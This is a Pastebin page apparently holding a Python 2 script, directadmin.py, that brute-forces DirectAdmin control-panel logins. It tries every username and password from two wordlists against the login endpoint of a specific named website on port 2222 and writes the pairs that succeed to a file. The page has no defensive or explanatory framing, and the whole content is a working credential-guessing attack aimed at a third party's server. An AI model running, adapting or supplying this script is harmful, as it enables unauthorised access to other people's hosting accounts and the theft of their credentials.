Advertisement
parkdream1

directadmin.py

Oct 12th, 2013
685
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.04 KB | None | 0 0
  1. import urllib2
  2. import socket
  3. import cookielib
  4. import time
  5. import re
  6.  
  7. PASS_LIST = 'password.txt'
  8. USER_LIST = 'user.txt'
  9. MESSENGER = 'Invalid'
  10. DEBUG = 0
  11. with open(USER_LIST) as l:
  12.     for line in l:
  13.         line = line.replace("\n","")
  14.         with open(PASS_LIST) as f:
  15.             for line1 in f:
  16.                 line1 = line1.replace("\n","")
  17.                 print "Brute Force %s : %s" % (line,line1)
  18.                 POSTDATA = "referer=/&username=%s&password=%s"%(line,line1)
  19.                 URL = "http://quangcaonewstar.com:2222/CMD_LOGIN"
  20.                 try:
  21.                     socket.setdefaulttimeout(10)
  22.                     cj = cookielib.CookieJar()
  23.                     opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  24.                     response = opener.open(URL,POSTDATA).read()
  25.                     result = re.findall(MESSENGER, response)
  26.                     if DEBUG==1: print result
  27.                     if DEBUG==1: open('debug/%s.html'%line, 'wb').write(response)
  28.                     if len(result) > 0:
  29.                         print "Login %s : %s Error"%(line,line1)
  30.                     else:
  31.                         print "Login %s : %s Ok"%(line,line1)
  32.                         open('lst.txt', 'a').write(line+" : "+line1)
  33.                 except:
  34.                     print "Error"
  35.                 time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement